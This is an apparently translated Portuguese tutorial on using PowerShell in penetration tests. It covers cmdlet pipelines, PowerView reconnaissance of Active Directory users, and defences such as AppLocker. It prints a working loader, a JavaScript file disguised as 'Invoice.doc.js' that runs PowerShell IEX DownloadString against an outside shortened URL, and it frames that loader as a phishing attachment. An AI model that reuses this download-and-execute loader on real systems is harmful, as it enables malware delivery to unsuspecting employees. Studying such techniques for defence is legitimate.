Os hackers gostam de usar o PowerShell para executar "malware sem arquivo", malware incorpóreo que não é binário tradicional com código malicioso compilado e, por esse motivo, às vezes não pode ser detectado por soluções antivírus.
O PowerShell, é claro, sempre teve um objetivo completamente normal, que no início nada tinha a ver com o teste de penetração. Aqueles de vocês que desejam conhecer os antecedentes do PowerShell devem ler o famoso
Manifesto da Mônada . Escrito por um dos desenvolvedores originais, este manifesto explica por que a Microsoft precisava de uma nova linguagem de script (em outras palavras, scripts), que acabou se transformando no PowerShell.
Para poupar o trabalho de exibir um longo documento de 17 páginas, vou revelar o principal fator motivador que motivou os autores do PowerShell: era para dar aos administradores de sistema acesso a objetos .Net na linha de comando, permitindo a automação do fluxo de trabalho no nível do sistema, em vez de no nível de programação profunda em C # ou C ++.
Se você quiser uma evidência real da eficácia do PowerShell (a seguir denominado PS), pergunte aos administradores de sistema como eles adicionam usuários massivamente ao Active Directory ou realizam configurações rápidas de segurança. Você provavelmente aprenderá sobre as
soluções do PowerShell . Resumindo: o PS é uma ótima maneira de reduzir a rotina e aumentar a produtividade dos administradores.
Por que usar o PowerShell para pentests?
Infelizmente, o que é tão adequado como uma poderosa ferramenta de automação para administradores é, em última análise, útil para hackers e testadores de penetração.
Suponha que um administrador de TI tenha a tarefa de descobrir quem realmente usa um servidor sobrecarregado. Usando o PowerShell e a biblioteca de funções avançadas do
PowerView , o administrador do sistema pode visualizar rapidamente os usuários que estão conectados ao servidor
, sem a necessidade de fazer logon no próprio servidor:
No entanto, os invasores que obtiveram acesso através de um ataque de phishing também podem fazer o mesmo, como eles podem usar os mesmos recursos enquanto estiverem em um domínio do Active Directory (a seguir denominado AD). E suas atividades não serão necessariamente detectadas: um analista de segurança da informação que monitora o uso de aplicativos pode concluir que, por
ser apenas o PowerShell, deve ser inofensivo .
Para agravar ainda mais este exemplo, os hackers podem obter todas as informações detalhadas sobre usuários individuais usando o comando Get-NetUser, que irá despejar todos os atributos do usuário no AD:
Infelizmente, às vezes as empresas negligenciam os atributos do AD que tornam públicas para todos os funcionários - por exemplo, telefone residencial ou celular, endereço etc. Antes do PowerShell, era muito mais difícil coletar todos esses dados do AD, mas esse não é o caso!
O que os atacantes podem fazer com essas informações? Eles podem facilmente tirar proveito dos métodos de
engenharia social e desenvolver um ataque para isso: talvez enviando
Um email com contexto pessoal suficiente derivado dos atributos do AD para se parecer com uma solicitação de suporte legítima solicitando que você “redefina sua senha”.
A propósito, você também pode aplicar o controle ACL aos atributos do AD, portanto, existe uma maneira (!) De reduzir o risco de ataques desse tipo. E este é um daqueles resultados positivos que você pode obter com sua própria experiência em testes de penetração.
Tutorial do PowerShell Pentester
Usando o PowerShell, os atacantes podem coletar discretamente dados internos do usuário e usá-los em seus ataques. Mas não há razão para que o pessoal de TI ou de segurança da informação também não consiga aprender o PowerShell o suficiente para iniciar seus próprios testes e aprender a entender a mentalidade e os motivos do hacker.
A primeira coisa legal do PowerShell é que todos os scripts antigos e arquivos bat que você executou na linha de comando cmd.exe ainda funcionam no console do PowerShell. Já não é ruim, é?
O próximo ponto importante é que, diferentemente dos shells do tipo Linux, o PowerShell trata tudo como
um objeto . Até a saída de um comando (somente pensar) também é um objeto.
Por exemplo, digite o comando
Get-ChildItem (ou o cmdlet de uma maneira diferente, como os comandos são chamados no mundo do PS) no console e você verá uma lista de arquivos no diretório atual:
Codificação do PowerShell
Suponha que você queira escrever um script PS no qual apenas arquivos
maiores que 10 MB sejam exibidos - por exemplo, para verificar rapidamente quais arquivos ocupam muito espaço. Essa tarefa será muito mais difícil de resolver na saída da string, digamos, do shell bash. No entanto, no PowerShell, a saída de qualquer comando é um objeto com um conjunto de
atributos .
Para ver isso, basta passar a saída GetChildItem para
Get-Member , que informará os atributos do cmdlet PS:
Portanto, agora temos identificadores para dois atributos de interesse para nós: o comprimento "length" e o nome "name", aos quais podemos nos referir programaticamente. 5 minutos - vôo normal.
Para lidar com a situação frequente em que os objetos às vezes estão em matrizes ou coleções, usaremos o operador PS
ForEach para iterar sobre a matriz.
Para facilitar ainda mais, um alias ou alias "%" significa "ForEach" e "$ _" representa o objeto atual.
Executando comandos usando o PowerShell
Vamos obter nossas duas colunas de saída da equipe GetChildItem com base em nosso novo conhecimento. O exemplo abaixo é um pipeline com Get-ChildItem que alimenta a instrução ForEach, que exibe apenas os valores dos atributos "length" e "name":
get-childitem | % {write-host $_.length $_.name -separator "`t`t"}
E aqui está o resultado da execução dos comandos:
Para finalizar nosso maravilhoso exemplo, vamos ajustar nosso script para gerar apenas arquivos grandes, digamos, com mais de 10 MB. Para fazer isso, usamos um filtro conhecido como
cmdlet Where-Object com o conveniente alias "?". Ele possui todos os operadores de comparação usuais (-gt, -eq, -lt etc.). Nós o inserimos no meio do pipeline e o nosso o script agora fica assim:
get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}
Como exercício, tente executar a criação do PS acima em seu próprio ambiente.
Tutorial: Exemplo de teste de penetração do PowerShell
Com essa pouca experiência com o PowerShell, estamos prontos para dar um exemplo muito real da vida real. Uma das maneiras mais rápidas de entrar em um protesto é usar o PowerShell para ocultar a carga útil. Escrevemos sobre como
fazê-lo aqui .
A idéia é ocultar nosso código do PowerShell em um documento padrão do escritório com o sufixo .doc. De fato, o arquivo terá a extensão .js e, quando clicado, ativa o
lançamento de um script do Windows para executar o JavaScript, que iniciará o código interno do PowerShell.
Um pouco confuso, certo? Mas hackers reais usam não um, mas vários níveis de aninhamento e ofuscação, a fim de ocultar e confundir o ataque o máximo possível.
Preparação do carregador de inicialização e carga útil
Aqui está a aparência do script:
a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);
Você cola o código acima em um arquivo de texto e o renomeia para algo como
Invoice.doc.js . O JavaScript acima atua como um carregador que é executado usando os cmdlets
internos do PowerShell
NetWebClient e
Invoke-Expression , que são aliases com "%".
O método
DownloadString do cmdlet NetWebClient extrai remotamente a carga útil real, que acaba fazendo todo o trabalho sujo para nós.
Você pode inserir seu próprio URL apontando para seu próprio programa de teste. Bem, o cmdlet Invoke-Expression aceita o código do nosso arquivo malicioso e o executa.
Confira!
No meu caso, a URL aponta para um projeto do Github que contém um simples comando PS Write-Host que exibirá uma mensagem inofensiva, mas importante para toda a humanidade. Em um ataque real, um arquivo desse cenário poderia muito bem ser anexado a uma lista de e-mails de phishing, o que atrairia um funcionário desavisado para uma armadilha de curiosidade. E a carga útil será muito mais destrutiva.
Você pode tentar isso em sua própria instalação. E se todas as opções acima funcionarem com êxito, você terá mais uma tarefa urgente e importante, que deve ser realizada sem falhas.
Benefícios do teste de penetração
Isso nos leva às razões pelas quais fazemos testes de penetração. Aqui estão três benefícios reais que vêm à mente primeiro:
- Ao explorar as equipes do PowerShell como um atacante, você entenderá como os hackers “quebram” essa maravilhosa linguagem de script da próxima geração. Considere a combinação dos métodos DownloadString e Invoke-Expression, permitindo que os invasores extraiam código malicioso remoto para o site da vítima, sem a necessidade de salvá-lo no meio.
- Este exercício também enfatiza o segredo de um hacker moderno. Eu mostrei no exemplo acima um esquema de ataque que não deixa nenhum arquivo por aí. Portanto, você não pode usar métodos padrão baseados em assinatura para detectar com segurança um ataque realizado usando o PowerShell. É banal, não temos a assinatura do próprio malware para comparação.
- É provável que você comece a explorar maneiras de restringir o PowerShell e outros métodos baseados em script. No final, o ataque começa com um script; portanto, se as empresas dificultam a execução de scripts, elas podem reduzir significativamente seu perfil de risco.
Deixe-me elaborar sobre o último ponto. Você provavelmente não desejará banir completamente o PowerShell (ou JavaScript), pois essa é uma parte fundamental do software do sistema Windows. Felizmente, a Microsoft tem uma maneira de desativar seletivamente scripts (e outros executáveis) por meio do
AppLocker , uma versão aprimorada das antigas Políticas de Restrição de Software nas modernas Políticas de Grupo (GPOs).
Isso pode parecer inacreditável para os técnicos, mas a maioria dos usuários comuns não precisa do PowerShell ou de outras linguagens de script para realizar seu trabalho diário. Isso, é claro, é chocante, eu sei! O AppLocker, por exemplo, pode ser configurado para desativar o acesso ao PowerShell para as massas, enquanto permite que os administradores de sistema ainda façam seu trabalho duro.
Os ataques baseados em script, incluindo aqueles relacionados a anexos de email, contam com os administradores para fornecer aos funcionários permissões de script excessivamente amplas. E isso não deveria ser assim!